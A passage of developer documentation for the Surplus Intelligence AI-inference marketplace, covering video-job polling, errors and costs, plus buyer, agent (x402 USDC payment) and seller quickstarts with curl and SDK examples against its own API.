`X-Job-Token` header (returned from submit). **HTTP status:** `GET /v1/video/generations/:id` (and gated `GET /v1/videos/:id`) always returns HTTP `200` for an authorized job regardless of whether it is pending or terminal. Inspect the body `status` field rather than the HTTP status code. **Status values:** `queued` → `submitted` → `running` → `succeeded` | `failed` | `canceled` | `expired`. > **Rolling out.** The `error` object below is the shape the API is moving to. Until the rollout completes, > a terminal job may instead carry `type` set to its status (`"failed"`, `"canceled"`) and no `retryable` > field. Write your handler to tolerate both: treat a missing `retryable` as "safe to retry unless `type` is > `invalid_request`", and do not assume `error` is absent on a cancel. **The `error` object.** Present on a terminal job that failed, and absent on one that succeeded or was cleanly canceled. `type` comes from a closed vocabulary, so it is safe to branch on: | `type` | `retryable` | Means | | ------------------------ | ----------- | ------------------------------------------------------------------------------------- | | `invalid_request` | `false` | The request was refused on its merits. It will be refused again - change the request. | | `provider_error` | `true` | The job failed while it was being generated. | | `provider_unavailable` | `true` | The job could not be completed in time, or could not be confirmed with any provider. | | `expired` | `true` | The job passed its deadline before it completed. | | `execution_start_failed` | `true` | The job could not be started. | | `unknown` | `true` | The job failed without a reported reason. | `retryable` is the field to branch on rather than `type`: it is `false` for exactly one value today, and a new `type` added later will carry the right `retryable` without your code changing. You are not charged for a job that ends in any of these. **Why the search ran out.** A failed job with `marketplace_status: "exhausted"` tried every offer it could use and none accepted it. `exhausted_reason` says why the list of offers ended there: | `exhausted_reason` | Means | | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `price_bounded` | Other offers for the model passed every check but cost more than this job's price limit: your [minimum discount](https://www.surplusintelligence.ai/docs/marketplace/minimum-discount-routing), or what the job could reserve. `error.message` names the cheapest of them and what brings them back. | | `filtered` | Other offers were left out, or skipped without being tried, for another reason, such as health, trust, capability, your provider settings, or a seller key another offer had just shown was refused. | | `all_failed` | Every offer for the model was tried and failed. | `exhausted_reason` is absent when the search was stopped before it ran out (for example by the per-request attempt cap) and on jobs created before it existed. `marketplace_status` and `error.type` are unchanged. On `price_bounded`, each figure is measured the way its limit is checked, and appears only for that limit: - `cheapest_excluded_cost_usdc`, when your minimum discount left offers out: the lowest estimated cost among them, in µ$, like `estimated_cost_usdc`. A lower minimum discount lets the job fail over to them. - `cheapest_excluded_hold_usdc`, when what the job could reserve left offers out: the lowest amount one of them needed reserved, in µ$. It is a hold like `max_cost_usdc` (plus the reserve margin when the job is paid from your Balance), so it can be well above that offer's estimated cost. Adding funds to cover it lets the job fail over to it. Both are present when both limits left offers out. **Response - 200 OK** ```json { "id": "550e8400-...", "object": "media.job", "kind": "video", "status": "succeeded", "created": 1713200000, "expires_at": 1713201800, "progress": 1.0, "results": [ { "artifact_index": 0, "url": "https://api.surplusintelligence.ai/v1/media/artifacts/550e8400-.../0", "content_type": "video/mp4", "duration_seconds": 10, "width": 1920, "height": 1080, "bytes": 5000000 } ], "usage": { "seller_cost_usdc": "80000", "buyer_cost_usdc": "96000", "settlement_status": "confirmed" } } ``` ### Downloading the result `results[].url` is an **authenticated** URL on this API, not a public link. Fetch it with the same `Authorization: Bearer ***` you submitted with, or with the job's `job_token`: ```bash curl -L -H "X-Job-Token: $JOB_TOKEN" \ https://api.surplusintelligence.ai/v1/media/artifacts/$JOB_ID/0 -o out.mp4 ``` Follow redirects (`-L`): SI-hosted artifacts answer with a `302` to short-lived storage. A few models return a provider-hosted URL instead, in which case `url` is that provider link and needs no header. **Artifacts do not live forever.** The retention window runs from when the job reached a terminal state - 3 hours by default, and never longer than the provider keeps a relayed file - and stored artifacts are purged within a day regardless. Download promptly: past the window a fetch may still succeed for a short time, and then stops working. We are rolling out a clear `404 artifact_expired` for that case; until then an expired fetch surfaces as a plain `404`. ## Cancel Job DELETE /v1/video/generations/:id **Auth:** API key OR `X-Job-Token` header. Cancellation is best-effort. If the provider has already completed the job, it may transition to `succeeded` instead. ## Errors | Status | Code | When | | ------ | -------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `400` | `invalid_request` | A malformed parameter, prompt exceeding the character ceiling, or an image-to-video-only model submitted with no source image | | `400` | `unsupported_parameter` / `unsupported_parameter_value` / `unsupported_provider_value` | Unknown parameter key, out-of-domain value, or a value unhonored by all routable hosts | | `400` | `image_required` / `video_required` / `invalid_image_input` | Missing required source image/video, or invalid image input URI | | `402` | `insufficient_credit` / `insufficient_balance` / `insufficient_allowance` | The job's `max_cost_usdc` is more than your [prepaid credit](https://www.surplusintelligence.ai/docs/payments/fiat) or [deposited USDC](https://www.surplusintelligence.ai/docs/payments/prefunded-usdc) can cover. The two `insufficient_balance` / `insufficient_allowance` codes are legacy wallet-rail spellings of the same thing - settling from a wallet approval is no longer offered | | `402` | `account_frozen` / `org_frozen` / `org_closed` | The paying account is under review or closed | | `404` | `model_not_found` | The model is not in the media catalog | | `404` | `no_sellers_for_model` | No seller can serve this model on this endpoint. This includes a model whose only offers are listed against a host that does not run async video at all - those offers are excluded from routing rather than accepted and failed later, so the refusal arrives **before** you are charged | | `404` | `artifact_expired` | Artifact download requested after the job's retention window has elapsed | | `409` | `idempotency_key_reused` | `Idempotency-Key` was already used with a different request payload (enforced when `MEDIA_IDEMPOTENCY_STRICT_MODE=enforce`; while `off`, reusing a key replays the original job) | | `503` | `sellers_unavailable` / `no_healthy_sellers` | Sellers exist and can serve the endpoint, but none is currently healthy or able to accept this input. Retryable | A `404` is a statement about supply and will not fix itself on retry; a `503` is transient. ## Cost Model - Costs are USDC microdollars (1 USD = 1,000,000 microdollars). - Download artifacts are cached/proxied for buyer access. Default artifact retention is 3 hours (`MEDIA_ARTIFACT_TTL_SECONDS` can override it). - Seller selection prices every candidate offer from the catalog at submit time; a cost-multiplier offer applies its multiplier to that price. The provider's own final price is reconciled at settlement. **Why the ceiling is so much bigger than the estimate** - estimated\_cost\_usdc - the quote for the chosen seller: $0.08 - max\_cost\_usdc - the reservation ceiling we hold: $0.82 The hold is sized so the job can fail over to ANY seller in the candidate set without asking you again - so it is priced off the dearest candidate, not the one we chose. You are charged what the render actually costs. - `estimated_cost_usdc` is the buyer estimate at submit time. - `max_cost_usdc` is the reservation ceiling and the **most you can be charged** for the job - settlement is capped at it. - **It is not simply a percentage of `estimated_cost_usdc`, and it can be several times larger.** We reserve enough to fail over to *any* seller in the candidate set without asking you again, so the ceiling is sized on the **priciest** candidate, not on the one we chose. A safety buffer is then applied on top: 10% for text-to-video and music, and 2× for image-input (image-to-video, transition, reference) jobs, whose final price is the provider's own and is only known when the render finishes. A job quoted at $0.08 against a set whose dearest member is 5× the cheapest therefore discloses a ceiling near $0.82. You are charged what the render actually costs, never the ceiling - the ceiling is only what we hold. - Job expiry is authoritative via the `expires_at` (epoch seconds) field returned on submit and poll. When a model's capability manifest declares `p99RenderSec`, the render deadline is computed as `clamp(2 × p99RenderSec, 5m, 40m)` (for example, MaxLatent contracts with `p99RenderSec=180` expire after 6 minutes); models without a declared `p99RenderSec` fall back to 30 minutes. Completed artifact download retention defaults to 3 hours. --- # /docs/getting-started/agent-quickstart # Agent Quickstart AI agents can pay per-request with no SI account or API key, using x402 (USDC on Base). `exact` needs only a per-request signature; `upto` also needs a one-time Permit2 token approval. ## How It Works **Two x402 schemes, and upto is the one you want** - **upto - preferred**: A Permit2 witness authorizing a maximum. Settled at actual cost after the response. - **exact**: Signs and settles the fixed estimated amount. Use when upto is unavailable. \`exact\` pays a fixed quoted amount. \`upto\` authorizes a ceiling and charges what the response actually used - which is the right shape for inference, where the cost is not knowable until the response exists. 1. Agent sends a request to `/v1/chat/completions` with no auth header 2. Server returns **HTTP 402** with payment requirements for both protocols 3. Agent picks a protocol, signs the payment, retries the request 4. Server verifies payment, routes to cheapest seller, streams response ## x402 (USDC on Base) The agent needs a Base wallet with USDC. SI advertises x402 `upto` first and `exact` second: - **`upto` (preferred):** authorize a max amount for one request, then settle only actual usage after the response completes. Requires one-time USDC approval to Permit2 plus a per-request Permit2 payment signature; CDP sponsors x402 settlement gas when available. - **`exact` (fallback):** sign a fixed EIP-3009 payment for the estimated amount. Widely compatible, but may overpay versus actual usage. The Permit2 approval is only for this per-request agent rail. It authorizes payments, not a funded balance. Call the API directly at `https://api.surplusintelligence.ai` (the canonical API host) so redirects never drop the x402 payment headers. **JavaScript / TypeScript (`upto`, @x402/evm + viem):** ```ts import { createPublicClient, createWalletClient, http, publicActions } from 'viem' import { base } from 'viem/chains' import { privateKeyToAccount } from 'viem/accounts' import { UptoEvmScheme } from '@x402/evm' const endpoint = 'https://api.surplusintelligence.ai/v1/chat/completions' const account = privateKeyToAccount(process.env.PRIVATE_KEY as `0x${string}`) const publicClient = createPublicClient({ chain: base, transport: http() }) const walletClient = createWalletClient({ account, chain: base, transport: http() }).extend(publicActions) // Important: pass an explicit address. Do not rely on walletClient.address. const signer = { address: account.address, signTypedData: (msg: any) => account.signTypedData(msg), readContract: publicClient.readContract.bind(publicClient), getTransactionCount: publicClient.getTransactionCount.bind(publicClient), estimateFeesPerGas: publicClient.estimateFeesPerGas.bind(publicClient), } const body = { model: 'llama-3.3-70b', messages: [{ role: 'user', content: 'Say exactly: pong' }], max_tokens: 8, } // 1. Get a 402 challenge. const challenge = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(body), }) const paymentRequired = JSON.parse( Buffer.from(challenge.headers.get('PAYMENT-REQUIRED')!, 'base64').toString(), ) // 2. Prefer upto; fall back to exact if your client cannot sign Permit2 upto. const upto = paymentRequired.accepts.find((a: any) => a.scheme === 'upto') const paymentPayload = await new UptoEvmScheme(signer).createPaymentPayload(2, upto) const paymentHeader = Buffer.from(JSON.stringify(paymentPayload)).toString('base64') // 3. Retry the same request with payment attached. const paid = await fetch(endpoint, { method: 'POST', headers: { 'Content-Type': 'application/json', 'PAYMENT-SIGNATURE': paymentHeader }, body: JSON.stringify(body), }) console.log(paid.status) // 200 console.log(paid.headers.get('PAYMENT-RESPONSE')) // present on success console.log(await paid.json()) // OpenAI-compatible response body ``` **Python (x402 package):** ```python from x402 import x402_fetch response = x402_fetch( 'https://api.surplusintelligence.ai/v1/chat/completions', wallet=wallet, method='POST', json={'model': 'claude-opus-4.6', 'messages': [{'role': 'user', 'content': 'Hello'}]} ) ``` ## API Key Auth (SIWE) Agents with wallets can self-issue API keys - no browser, no Privy: ```bash # Get SIWE challenge curl .../v1/buyer/auth/challenge?address=0xAgentWallet # Sign and get buyer API key curl -X POST .../v1/buyer/auth/keys \ -H "Content-Type: application/json" \ -d '{"message": "", "signature": "0x..."}' # Returns inf_xxx buyer key # Use like any OpenAI client curl .../v1/chat/completions \ -H "Authorization: Bearer inf_xxx" \ -d '{"model": "claude-opus-4.6", "messages": [{"role": "user", "content": "Hello"}]}' ``` Buyer keys are persistent (they survive restarts) and complement x402, which is per-request. Use a SIWE key for a long-running agent and fund it with deposited USDC or fiat credits; use x402 for ephemeral or serverless agents that should not hold a balance at all. ## Manage Keys Programmatically > **Anything you can do to a key in the dashboard, you can do over the API.** Provision, list, read, reconfigure, rename, and revoke keys with no browser and no Privy. This is the same `/v1/buyer/keys` API the dashboard itself calls, so a long-running agent can run its whole key lifecycle in code. Authenticate every call with an existing buyer key (`inf_xxx`, self-issued via SIWE above) or a session cookie; the tenant is resolved from your auth. The full lifecycle: ```bash BASE=https://api.surplusintelligence.ai KEY=inf_xxx # an existing buyer key # 1. Create a key. Idempotency-Key is required on create. curl -X POST $BASE/v1/buyer/keys \ -H "Authorization: Bearer $KEY" \ -H "Idempotency-Key: $(uuidgen)" \ -H "Content-Type: application/json" \ -d '{"label": "worker-01"}' # → { # "id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", # "key": "inf_9f8c1e2b3a4d5e6f7a8b9c0d1e2f3a4b", # store now: shown only once # "key_prefix": "inf_9f8c1e2b", # "label": "worker-01", # "created_at": 1713312000000 # } # 2. List keys (redacted: the secret is never returned again). curl $BASE/v1/buyer/keys -H "Authorization: Bearer $KEY" # → { "items": [ { "id": "01JQ8G7YV3M4N5P6Q7R8S9T0AB", "key_prefix": "inf_9f8c1e2b", # "label": "worker-01", "created_at": 1713312000000, "last_used_at": 1713398400000 } ] } # 3. Read one key's metadata. ID=01JQ8G7YV3M4N5P6Q7R8S9T0AB curl $BASE/v1/buyer/keys/$ID -H "Authorization: Bearer $KEY" # 4. Configure per-key routing preferences. # allow_untrusted=true lets this key route to providers outside the trusted-domain allowlist; # null or omitted inherits the account default (trusted-only). limits is reserved: send {}. curl -X PUT $BASE/v1/buyer/keys/$ID/preferences \ -H "Authorization: Bearer $KEY" -H "Content-Type: application/json" \ -d '{"preferences": {"allow_untrusted": true}, "limits": {}}' curl $BASE/v1/buyer/keys/$ID/preferences -H "Authorization: Bearer $KEY" # → { "preferences": { "allow_untrusted": true }, "limits": {} } # 5. Rename a key's label. curl -X PATCH $BASE/v1/buyer/keys/$ID \ -H "Authorization: Bearer $KEY" -H "Content-Type: application/json" \ -d '{"label": "worker-01 (prod)"}' # 6. Revoke a key (irreversible; returns 204 No Content). curl -X DELETE $BASE/v1/buyer/keys/$ID -H "Authorization: Bearer $KEY" ``` Keys are capped at 25 active per wallet. In a team org, mutating ops (create, rename, configure, revoke) are capability-gated, so a low-privilege member cannot reconfigure or revoke another member's key; a personal wallet or plain buyer key is unrestricted. ## Become a Seller Agents can also **sell** inference: list your API capacity programmatically, with no browser. As with buyer keys, whatever the seller dashboard does to a key or an offer is an API call you can make yourself. ```bash # 1. Bootstrap a seller key via SIWE (one-time, no browser). curl ".../v1/seller/auth/challenge?address=0xAgentWallet" curl -X POST .../v1/seller/auth/keys \ -H "Content-Type: application/json" \ -d '{"message": "", "signature": "0x..."}' # Returns si_seller_xxx in the "key" field (shown once). # 2. List an offer. Idempotency-Key is required on create. curl -X POST .../v1/seller/offers \ -H "Authorization: Bearer si_seller_xxx" \ -H "Idempotency-Key: $(uuidgen)" \ -H "Content-Type: application/json" \ -d '{"model": "claude-opus-4.6", "api_key": "your-provider-key", "seller_base_url": "https://api.venice.ai/api/v1", "pricing_mode": "cost_multiplier", "cost_multiplier": 0.50}' ``` Seller keys support create, list, and revoke (rename and per-key preferences are buyer-only, since a seller key has no routing config): ```bash KEY=si_seller_xxx # Create another seller key (Idempotency-Key required; up to 25 active). curl -X POST .../v1/seller/keys \ -H "Authorization: Bearer $KEY" -H "Idempotency-Key: $(uuidgen)" \ -H "Content-Type: application/json" -d '{"label": "batch-bot"}' # List keys (redacted; secrets are never returned again). curl .../v1/seller/keys -H "Authorization: Bearer $KEY" # Revoke a key (returns 204). curl -X DELETE .../v1/seller/keys/{id} -H "Authorization: Bearer $KEY" ``` Offers, health probes, earnings, and payouts are all API-first too. See the [Seller API Reference](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints) for the full surface. ## Pricing Pricing is model-specific and market-based. SI routes to the cheapest available seller for the requested model, often below direct provider rates. The final x402 maximum is returned in the 402 challenge. With `upto`, the buyer signs a per-request Permit2 authorization for that max but only actual usage is settled; with `exact`, the full estimate is settled. --- # /docs/getting-started/buyer-quickstart # Buyer Quickstart Get the cheapest AI inference in under 2 minutes. **From nothing to a first response** 1. **Sign in**: Wallet or SIWE 2. **Mint a key**: inf\_… shown once 3. **Fund**: Card or USDC on Base 4. **Request**: Swap the base URL Card and prefunded USDC go straight from the key to the request. ## 1. Sign In Go to [surplusintelligence.ai](https://www.surplusintelligence.ai) and sign in with Twitter, Discord, or wallet connect. Privy automatically creates a wallet if you don't have one. ## 2. Get Your API Key After signing in, your API key appears on the Buy page. Copy it - it looks like `inf_abc123...`. You can create up to 25 keys with labels (e.g. "Cursor", "Aider", "CI"): ```bash POST /v1/buyer/keys { "label": "Cursor" } ``` ## 3. Fund Your Account Top up with a card, or deposit USDC on Base. Card credit is spendable only; deposited USDC is spendable and withdrawable. To deposit, you first need USDC on Base. Options: - **MoonPay** (via Privy) - buy USDC with a card directly from the app - **Peer (ZKP2P)** - pay with Venmo, Wise, Zelle and more through the Peer browser extension - **Bridge from another chain** - if you already have USDC elsewhere Then send it to your deposit address on **Buy › Funding › Crypto**. See [Wallet Funding](https://www.surplusintelligence.ai/docs/guides/wallet-funding) for details. ## 4. Make a Request ```bash curl https://api.surplusintelligence.ai/v1/chat/completions \ -H "Authorization: Bearer inf_your_key_here" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.6", "messages": [{"role": "user", "content": "Hello!"}], "stream": true }' ``` That's it. The marketplace routes to the cheapest healthy seller, streams the response, and draws the cost from your balance automatically. ## Use with Your Tools **Cursor:** ``` API Base URL: https://api.surplusintelligence.ai/v1 API Key: inf_your_key_here Model: claude-opus-4.6 ``` **Python (OpenAI SDK):** ```python from openai import OpenAI client = OpenAI( api_key="inf_your_key_here", base_url="https://api.surplusintelligence.ai/v1" ) response = client.chat.completions.create( model="claude-opus-4.6", messages=[{"role": "user", "content": "Hello!"}] ) ``` Works with any OpenAI-compatible tool - just change the base URL and API key. ## Programmatic Setup (No Browser) Everything above can be done without touching the website. All you need is a wallet with a private key, and USDC on Base to deposit. ### Reference | Setting | Value | | -------------------------- | --------------------------------------------------------- | | **API Base URL** | `https://api.surplusintelligence.ai` | | **OpenAI-compatible base** | `https://api.surplusintelligence.ai/v1` | | **Network** | Base (Chain ID: 8453) | | **USDC contract** | `0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913` (6 decimals) | | **Buyer key prefix** | `inf_` | | **Max keys per wallet** | 25 | | **Auth header** | `Authorization: Bearer inf_xxx` | **How charging works:** your balance is drawn down per request, after the response completes - the final cost depends on actual usage, so it cannot be known before then. ### 1. Get Your API Key (SIWE) Request a challenge, sign it, get a persistent `inf_` key: ```bash # Get SIWE challenge CHALLENGE=$(curl -s "https://api.surplusintelligence.ai/v1/buyer/auth/challenge?address=0xYourWallet") # Returns a SIWE message + nonce # Sign the SIWE message with your wallet, then exchange for a key curl -X POST https://api.surplusintelligence.ai/v1/buyer/auth/keys \ -H "Content-Type: application/json" \ -d '{"message": "", "signature": "0x..."}' # Returns: { "key": "inf_abc123...", "id": "...", "wallet": "0x...", "created_at": ... } # Save this key — it will not be shown again. ``` **Python (viem/web3):** ```python from web3 import Web3 import requests BASE = "https://api.surplusintelligence.ai" # 1. Get challenge resp = requests.get(f"{BASE}/v1/buyer/auth/challenge?address={wallet_address}") challenge = resp.json() # 2. Sign the SIWE message signed = w3.eth.account.sign_message( encode_defunct(text=challenge["message"]), private_key=YOUR_KEY ) # 3. Exchange for API key resp = requests.post(f"{BASE}/v1/buyer/auth/keys", json={ "message": challenge["message"], "signature": signed.signature.hex() }) api_key = resp.json()["key"] # inf_xxx — the field is `key`, not `api_key` ``` ### 2. Check Balance ```bash curl https://api.surplusintelligence.ai/v1/buyer/me \ -H "Authorization: Bearer inf_your_key" # Returns: credit_balance_usdc (your prepaid spendable balance), and more # credit_balance_usdc is your Balance: card credit + deposited USDC, net of what requests in flight # are holding — the same figure /v1/payments/balance reports. For what you can withdraw, use # GET /v1/payments/withdrawable. ``` ### 4. Browse Models & Prices ```bash # All available models curl .../v1/models -H "Authorization: Bearer inf_xxx" # Best prices per model curl .../v1/prices -H "Authorization: Bearer inf_xxx" # Full orderbook for a specific model curl .../api/markets/claude-opus-4.6 ``` ### 5. Make Requests ```bash # Text (streaming) curl .../v1/chat/completions \ -H "Authorization: Bearer inf_xxx" \ -H "Content-Type: application/json" \ -d '{"model": "claude-opus-4.6", "messages": [{"role": "user", "content": "Hello!"}], "stream": true}' # Images curl .../v1/images/generations \ -H "Authorization: Bearer inf_xxx" \ -d '{"model": "venice-flux-1.1-pro", "prompt": "a cat in space"}' # Video (async — poll for result) JOB=$(curl -s -X POST .../v1/video/generations \ -H "Authorization: Bearer inf_xxx" \ -d '{"model": "venice-runway-gen4-5-text", "prompt": "ocean waves"}') # Poll: GET .../v1/video/generations/{id} # Download (authenticated, follow redirects): # curl -L -H "Authorization: Bearer inf_xxx" .../v1/media/artifacts/{jobId}/{index} -o out.mp4 # Music (async — same pattern as video) curl -X POST .../v1/music/generations \ -H "Authorization: Bearer inf_xxx" \ -d '{"model": "venice-ace-step-15", "prompt": "lo-fi beats"}' # TTS curl .../v1/audio/speech \ -H "Authorization: Bearer inf_xxx" \ -d '{"model": "venice-tts-1", "input": "Hello world", "voice": "alloy"}' # STT (max 25MB, formats: wav, mp3, mp4, m4a, ogg, webm, flac) curl .../v1/audio/transcriptions \ -H "Authorization: Bearer inf_xxx" \ -F file=@audio.mp3 -F model=venice-whisper-1 # Embeddings curl .../v1/embeddings \ -H "Authorization: Bearer inf_xxx" \ -d '{"model": "venice-embed-1", "input": "Hello world"}' ``` ### 5. Monitor Usage & Savings ```bash # Balance, spending, per-model breakdown, recent requests (includes savings per request) curl .../v1/buyer/me -H "Authorization: Bearer inf_xxx" # Recent rows include: cost_usd, direct_cost_usd, saved_usd # All-time savings vs direct provider pricing curl .../v1/buyer/savings -H "Authorization: Bearer inf_xxx" # Daily or weekly savings breakdown curl ".../v1/buyer/savings?period=daily" -H "Authorization: Bearer inf_xxx" curl ".../v1/buyer/savings?period=weekly" -H "Authorization: Bearer inf_xxx" # Export usage as CSV curl ".../v1/buyer/usage/export?format=csv&from=2026-01-01" \ -H "Authorization: Bearer inf_xxx" ``` ### 6. Manage Keys ```bash # List all your keys curl .../v1/buyer/keys -H "Authorization: Bearer inf_xxx" # Create another key with a label curl -X POST .../v1/buyer/keys \ -H "Authorization: Bearer inf_xxx" \ -d '{"label": "production-server"}' # Revoke a key curl -X DELETE .../v1/buyer/keys/{keyId} \ -H "Authorization: Bearer inf_xxx" ``` ### 7. Optional: Set Fallback Provider If all marketplace sellers are down, requests fall back to your own provider key. Register it as a provider with `model: null` (applies to every model): ```bash curl -X POST .../v1/buyer/providers \ -H "Authorization: Bearer inf_xxx" \ -d '{"model": null, "api_key": "sk-your-venice-key", "base_url": "https://api.venice.ai/api/v1"}' ``` ### Alternative Clients Instead of raw HTTP: - **CLI:** Planned - not yet published - **MCP Server:** Planned - not yet published - **OpenClaw Skill:** `/inference_key`, `/inference_prices [model]`, `/inference_orderbook ` - **OpenAI SDK:** Point any OpenAI-compatible client at `https://api.surplusintelligence.ai/v1` with your `inf_` key ## What's Next - [Check your savings](https://www.surplusintelligence.ai/docs/api-reference/buyer-endpoints) vs direct provider pricing - [Set up a BYOK priority provider](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider) - use your own key first, overflow to marketplace - [Browse available models](https://www.surplusintelligence.ai/docs/marketplace/models) - [Send an image, document, or audio file to a model](https://www.surplusintelligence.ai/docs/guides/media-inputs) - [Turn reasoning up or down](https://www.surplusintelligence.ai/docs/reference/reasoning) - [See what is verified about the provider serving you](https://www.surplusintelligence.ai/docs/marketplace/provider-verification) --- # /docs/getting-started/index # Documentation A decentralized exchange for LLM inference. Sellers compete on price, buyers get the cheapest rate, and everything settles on-chain via USDC on Base. [Quickstart](https://www.surplusintelligence.ai/docs/getting-started/buyer-quickstart) [API Reference](https://www.surplusintelligence.ai/docs/api-reference/index) ## What is this? Surplus Intelligence is a two-sided marketplace for AI inference. Think of it as a stock exchange, but for API calls to AI models. - **Buyers** get one API key and one base URL. Call it like OpenAI - the marketplace routes to the cheapest available seller. - **Sellers** list any OpenAI-compatible endpoint, set their own price, and earn USDC on every request they serve. - **Settlement** is on-chain on Base - transparent, non-custodial, and verifiable by anyone. ## Choose your path **Three ways in** 1. **Buyer**: API key, prepaid balance 2. **Agent**: x402, no account at all 3. **Seller**: Lists the offers the other two consume Buyers and agents differ only in how they pay. Sellers come at the same order book from the other side - the offers buyers are routed to. - [Buyer Quickstart](https://www.surplusintelligence.ai/docs/getting-started/buyer-quickstart): Sign in, get an API key, and make your first request in 2 minutes - works with Cursor, Aider, and any OpenAI-compatible tool. - [Seller Quickstart](https://www.surplusintelligence.ai/docs/getting-started/seller-quickstart): List your API endpoint, set your own prices, and earn USDC per request. - [Agent Quickstart](https://www.surplusintelligence.ai/docs/getting-started/agent-quickstart): Build autonomous agents that pay per-request via x402 - no account needed. ## Guides - [Claude Code (Anthropic Skin)](https://www.surplusintelligence.ai/docs/guides/claude-code-setup): Point Claude Code or the Anthropic SDK at the marketplace - on any model, not just Claude. - [Cursor Setup](https://www.surplusintelligence.ai/docs/guides/cursor-setup): Point Cursor at the marketplace with one base-URL change. - [OpenCode / Aider](https://www.surplusintelligence.ai/docs/guides/opencode-setup): Use the marketplace from OpenCode, Aider, and other CLI coding tools. - [BYOK Priority Provider](https://www.surplusintelligence.ai/docs/guides/byok-priority-provider): Bring your own provider key and have your requests routed to it first. - [Wallet Funding](https://www.surplusintelligence.ai/docs/guides/wallet-funding): Fund your wallet with USDC on Base - on-chain, by card, or with credits. - [Media Inputs](https://www.surplusintelligence.ai/docs/guides/media-inputs): Send an image, document, or audio file to a model, and what the marketplace does with it. ## Resources - [API Reference](https://www.surplusintelligence.ai/docs/api-reference/index): Full endpoint documentation for the OpenAI-compatible surface and the marketplace APIs. - [Security & Privacy](https://www.surplusintelligence.ai/docs/marketplace/security-privacy): Seller key handling, logging, deletion, limits, and current trust assumptions. - [Payments](https://www.surplusintelligence.ai/docs/payments/index): Deposited USDC credits, fiat credits, and x402 for agents. - [Changelog](https://www.surplusintelligence.ai/docs/reference/changelog): What changed in the marketplace and the API surface. - **llms.txt - for LLMs & agents**: A link index of every docs page, each also served as Markdown - with the full agent guide (base URL, endpoints, payment rails, and contracts) in llms-full.txt. ## Current snapshot These numbers change as the live model registry and seller order book change. Treat the APIs as the source of truth. - `GET /v1/models` returns the full catalog - text, vision, image, audio/music, video, TTS/STT and embedding models. - `GET /api/marketplace` returns how many of those currently have live seller offers. Both counts move with seller liquidity, so query the endpoints rather than trusting a number printed here. - `GET /v1/prices` tracks pricing across many provider pricing sources. - The seller allowlist covers **26+ provider hosts** plus every regional Bedrock host; `GET /v1/providers` is the live list. Seller liquidity is not spread evenly across them. - **OpenAI-compatible** - works with Cursor, Aider, OpenCode, Continue, and any tool that speaks `/v1/chat/completions`. - **Anthropic-compatible** - an "Anthropic skin" at `/anthropic` lets [Claude Code](https://www.surplusintelligence.ai/docs/guides/claude-code-setup) and the Anthropic SDK route through the marketplace (on any model, not just Claude). - **Two ways to fund** - deposited USDC credits or fiat credits, plus x402 for per-request agent payments. Canonical base URL: `https://api.surplusintelligence.ai/v1` --- # /docs/getting-started/seller-quickstart # Seller Quickstart Monetize your unused API capacity. Set your price, get paid per token in USDC. ## 1. Sign In Go to [surplusintelligence.ai](https://www.surplusintelligence.ai) and sign in. Navigate to the Sell page. ## 2. Add an Offer **One active offer per credential, base URL and model** - key-A · api.venice.ai · claude-opus-4.6 (active) - key-A · api.venice.ai · gpt-5.6-luna (active - same key, different model) - key-A · api.venice.ai · claude-opus-4.6 (refused - duplicate triple) The uniqueness key is the TRIPLE. The same credential can serve many models, and the same model can be served by many credentials - but not the same combination twice. Click **"Add Offer"** and fill in: - **Provider** - select from the dropdown (Venice, OpenRouter, Together, etc.) - **API Key** - paste a dedicated provider API key. It is encrypted at rest with AES-256-GCM under AWS KMS envelope encryption (ciphertext stored in a private S3 bucket); use provider-side caps/scopes where available and revoke the provider key if you remove an offer. - **Base URL** - auto-filled based on provider (e.g. `https://api.venice.ai/api/v1`) - **Price** - set a `cost_multiplier` (e.g. 0.5 = 50% of the reference price). Per-token pricing is retired for text models and now returns `400 per_token_pricing_retired` - **Cap** - optional daily spending limit (`cap_daily_usd`) in USD Or click **"Discover Models"** - paste your API key and the marketplace auto-detects available models and pricing from your provider. ## 3. Start Earning Once your offer is live, buyers are automatically routed to you when you're the cheapest healthy seller. Your earnings accrue in USDC as each response completes, and are paid out to your wallet (or a custom payout address) in batches once a payout group reaches its threshold or age trigger. See the [settlement and payout lifecycle](https://www.surplusintelligence.ai/docs/api-reference/seller-endpoints#settlement-and-payout-lifecycle) for how earning differs from being paid. ## Key Points - **Your endpoint must be OpenAI-compatible** - standard `/v1/chat/completions` format in and out - **Earnings accrue per request; payouts are batched.** You earn USDC as each response completes, and payouts are grouped by recipient and sent automatically once a group reaches 5 USDC or its oldest earning reaches 72 hours. A per-request CSV row can stay `accrued` after it has been paid in a batch, so confirm payment from your payout history and its Base transaction hash - **Health is passive** - no uptime pings burning your quota. If a request fails, you're temporarily marked unhealthy and traffic routes to the next seller - **One offer per key, per model, per base URL.** The same API key can back as many *different* models as you like - that is the normal case. What you cannot do is list the same model twice on the same key and base URL; a second attempt returns `409 duplicate_offer_for_credential`. To list a model twice, use a different provider key. - **Payout address** - optionally direct settlement to a different wallet (e.g. Bankr wallet for auto top-up) ## Programmatic Setup (CLI / Agents) No browser needed - get a seller API key with just a wallet. ```bash # 1. Get SIWE challenge curl https://api.surplusintelligence.ai/v1/seller/auth/challenge?address=0xYourWallet # 2. Sign the message and get a seller API key curl -X POST https://api.surplusintelligence.ai/v1/seller/auth/keys \ -H "Content-Type: application/json" \ -d '{"message": "", "signature": "0x..."}' # Returns si_seller_xxx — save it, shown only once # 3. Create an offer curl -X POST https://api.surplusintelligence.ai/v1/seller/offers \ -H "Authorization: Bearer si_seller_xxx" \ -H "Content-Type: application/json" \ -d '{ "model": "claude-opus-4.6", "api_key": "your-provider-key", "seller_base_url": "https://api.venice.ai/api/v1", "pricing_mode": "cost_multiplier", "cost_multiplier": 0.50 }' ``` Works from any environment: scripts, AI agents (OpenClaw, Bankr), MCP tools, CLI. ## Manage Offers ```bash # Create offer curl -X POST .../v1/seller/offers \ -H "Authorization: Bearer si_seller_xxx" \ -d '{ "model": "claude-opus-4.6", "api_key": "***", "seller_base_url": "https://api.venice.ai/api/v1", "pricing_mode": 